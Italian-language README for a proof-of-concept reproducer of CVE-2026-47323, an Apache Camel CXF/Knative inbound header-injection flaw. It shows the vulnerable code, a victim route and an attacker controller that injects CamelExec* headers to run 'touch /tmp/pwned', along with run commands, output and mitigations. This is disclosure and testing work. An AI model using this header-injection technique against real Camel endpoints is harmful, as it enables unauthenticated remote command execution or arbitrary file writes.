
Reproducer per CVE-2026-47323: mancanza del filtraggio in entrata in Apache Camel CXF/Knative HeaderFilterStrategy, consentendo l'iniezione degli header di controllo Camel (RCE tramite camel-exec) attraverso gli endpoint CXF-RS/CXF-SOAP/Knative (corretto in 4.14.6/4.18.2/4.19.0)
Questo progetto dimostra un'iniezione di intestazioni di messaggio nelle strategie di filtro delle intestazioni HTTP di CXF e Knative di Apache Camel, tracciata come CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) e KnativeHttpHeaderFilterStrategy (camel-knative-http) filtrano solo le intestazioni interne di Camel in uscita (setOutFilterStartsWith), senza configurare il filtraggio in entrata (setInFilterStartsWith). Di conseguenza, un attaccante non autenticato può iniettare intestazioni interne di Camel (es. CamelExecCommandExecutable, CamelFileName) tramite richieste HTTP verso endpoint CXF-RS o CXF-SOAP. Quando una route inoltra messaggi da questi endpoint a componenti guidati da intestazioni come camel-exec o camel-file, le intestazioni iniettate sovrascrivono i valori configurati — consentendo esecuzione remota di codice o scritture arbitrarie di file.
Questa PoC utilizza la superficie CXF-RS (JAX-RS): un CamelExecCommandExecutable iniettato trasforma un innocuo echo in esecuzione arbitraria di comandi.
Avviso: https://camel.apache.org/security/CVE-2026-47323.html
Questo riproduttore fissa camel 4.18.1 — l'ultima release affetta sul ramo 4.18.x (la correzione è arrivata in 4.18.2). Stesso schema di camel-undertow (CVE-2025-30177), del più ampio filtro per le intestazioni in entrata (CVE-2025-27636, CVE-2025-29891) e delle strategie non-HTTP (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
La correzione (4.14.6 / 4.18.2 / 4.19.0) aggiunge setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) a queste strategie, quindi le intestazioni in entrata Camel* / camel* vengono eliminate.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
Un endpoint JAX-RS (GET /service/api/ping) le cui richieste vengono passate a un comando shell fisso. Il producer camel-exec onora un'intestazione in entrata CamelExecCommandExecutable in preferenza all'echo configurato.
Tutto gira in un'unica app autonoma: l'endpoint CXF-RS, il sink camel-exec e il driver dell'attaccante.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Qualsiasi route che inoltra messaggi da un endpoint CXF-RS, CXF-SOAP o Knative-HTTP a un producer guidato da intestazioni. Oltre a CamelExecCommandExecutable (RCE tramite camel-exec), CamelFileName consente scritture arbitrarie di file tramite camel-file, e altre intestazioni di controllo Camel* possono pilotare altri producer.
Esegui l'aggiornamento a 4.14.6 / 4.18.2 / 4.19.0. Le strategie interessate configurano quindi setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), eliminando le intestazioni in entrata Camel*.
Fino all'aggiornamento, rimuovi le intestazioni di controllo Camel dai messaggi in entrata prima di qualsiasi producer downstream (.removeHeaders("Camel*") e .removeHeaders("camel*") all'inizio della route) e richiedi l'autenticazione sull'endpoint CXF / Knative.
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza esplicita autorizzazione.
| Proprietà | Valore |
|---|
| Componente | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Validazione dell'input non corretta |
| Impatto | Inietta intestazioni di controllo Camel tramite una richiesta HTTP → sovrascrive un producer downstream guidato da intestazioni → RCE (camel-exec) o scrittura arbitraria di file (camel-file) |
| Prerequisiti | Un endpoint CXF-RS / CXF-SOAP / Knative che inoltra a un producer guidato da intestazioni; non autenticato quando l'endpoint è |
| Versioni interessate | Da 3.18.0 prima di 4.14.6, da 4.15.0 prima di 4.18.2, 4.19.0 (corretta in 4.19.0) |
| Versioni corrette | 4.14.6, 4.18.2, 4.19.0 |
| Crediti | Quac Tran |